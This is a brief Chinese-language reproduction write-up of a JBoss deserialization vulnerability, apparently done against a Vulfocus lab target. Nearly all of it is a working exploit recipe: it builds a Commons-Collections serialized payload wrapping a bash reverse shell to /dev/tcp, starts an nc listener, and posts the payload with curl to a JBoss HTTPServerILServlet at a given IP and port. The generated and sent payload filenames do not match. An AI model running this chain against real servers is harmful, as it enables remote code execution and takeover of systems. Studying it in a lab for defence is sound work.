jboss反序列化漏洞复现


前言

http://vulfocus.fofa.so/#/dashboard

工具下载地址:https://github.com/joaomatosf/JavaDeserH2HC

复现过程

在VPS上分别执行以下命令:

javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1.java
java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap "bash -i >& /dev/tcp/VPS/port 0>&1"
第一行命令执行完成后,将生成一个文件ExampleCommonsCollections1WithHashMap.class
第二行命令执行完成后,将生成一个文件ExampleCommonsCollections1WithHashMap.ser

使用nc监听一个端口

nc -lvp port

将该文件作为body发送如下数据包:

curl http://118.193.36.37:63089/jbossmq-httpil/HTTPServerILServlet/ --data-binary @ExampleCommonsCollections1.ser

 成功反弹Shell。

 参考链接: